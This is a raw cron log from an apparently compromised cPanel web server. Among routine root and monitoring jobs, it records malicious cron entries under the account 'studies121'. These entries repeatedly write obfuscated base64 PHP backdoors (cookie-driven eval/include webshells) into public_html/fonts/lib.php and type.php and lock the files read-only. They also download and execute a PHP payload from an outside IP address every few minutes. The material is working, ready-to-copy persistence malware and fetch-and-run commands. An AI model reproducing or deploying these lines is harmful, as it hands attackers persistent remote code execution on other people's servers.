Sep  6 03:30:01 ip-184-168-122-23 CROND[5054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:30:01 ip-184-168-122-23 CROND[5056]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 03:30:01 ip-184-168-122-23 CROND[5055]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:30:01 ip-184-168-122-23 CROND[5058]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:30:01 ip-184-168-122-23 CROND[5060]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 03:31:01 ip-184-168-122-23 CROND[5151]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:31:01 ip-184-168-122-23 CROND[5153]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 03:31:01 ip-184-168-122-23 CROND[5154]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:31:01 ip-184-168-122-23 CROND[5155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:31:01 ip-184-168-122-23 CROND[5156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:32:01 ip-184-168-122-23 CROND[5230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:32:01 ip-184-168-122-23 CROND[5231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:32:01 ip-184-168-122-23 CROND[5232]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 03:32:01 ip-184-168-122-23 CROND[5235]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:32:01 ip-184-168-122-23 CROND[5233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:33:01 ip-184-168-122-23 CROND[5330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:33:01 ip-184-168-122-23 CROND[5333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:33:01 ip-184-168-122-23 CROND[5331]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:33:01 ip-184-168-122-23 CROND[5332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:34:01 ip-184-168-122-23 CROND[5410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:34:01 ip-184-168-122-23 CROND[5412]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 03:34:01 ip-184-168-122-23 CROND[5414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:34:01 ip-184-168-122-23 CROND[5413]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:34:01 ip-184-168-122-23 CROND[5411]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:35:01 ip-184-168-122-23 CROND[5582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:35:01 ip-184-168-122-23 CROND[5586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:35:01 ip-184-168-122-23 CROND[5584]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 03:35:01 ip-184-168-122-23 CROND[5585]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 03:35:01 ip-184-168-122-23 CROND[5583]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 03:35:01 ip-184-168-122-23 CROND[5587]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:35:01 ip-184-168-122-23 CROND[5589]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 03:35:01 ip-184-168-122-23 CROND[5590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:36:01 ip-184-168-122-23 CROND[5686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:36:01 ip-184-168-122-23 CROND[5685]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:36:01 ip-184-168-122-23 CROND[5687]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 03:36:01 ip-184-168-122-23 CROND[5688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:36:01 ip-184-168-122-23 CROND[5689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:37:01 ip-184-168-122-23 CROND[5768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:37:01 ip-184-168-122-23 CROND[5771]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:37:01 ip-184-168-122-23 CROND[5775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:37:01 ip-184-168-122-23 CROND[5774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:38:01 ip-184-168-122-23 CROND[5857]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:38:01 ip-184-168-122-23 CROND[5858]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 03:38:01 ip-184-168-122-23 CROND[5860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:38:01 ip-184-168-122-23 CROND[5859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:38:01 ip-184-168-122-23 CROND[5862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:39:02 ip-184-168-122-23 CROND[5946]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:39:02 ip-184-168-122-23 CROND[5947]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 03:39:02 ip-184-168-122-23 CROND[5949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:39:02 ip-184-168-122-23 CROND[5952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:39:02 ip-184-168-122-23 CROND[5953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:40:01 ip-184-168-122-23 CROND[6140]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 03:40:01 ip-184-168-122-23 CROND[6143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:40:01 ip-184-168-122-23 CROND[6145]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 03:40:01 ip-184-168-122-23 CROND[6146]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:40:01 ip-184-168-122-23 CROND[6147]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 03:40:01 ip-184-168-122-23 CROND[6150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:40:01 ip-184-168-122-23 CROND[6148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:40:01 ip-184-168-122-23 CROND[6149]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 03:41:01 ip-184-168-122-23 CROND[6254]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:41:01 ip-184-168-122-23 CROND[6255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:41:01 ip-184-168-122-23 CROND[6257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:41:01 ip-184-168-122-23 CROND[6256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:42:01 ip-184-168-122-23 CROND[6331]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:42:01 ip-184-168-122-23 CROND[6334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:42:01 ip-184-168-122-23 CROND[6332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
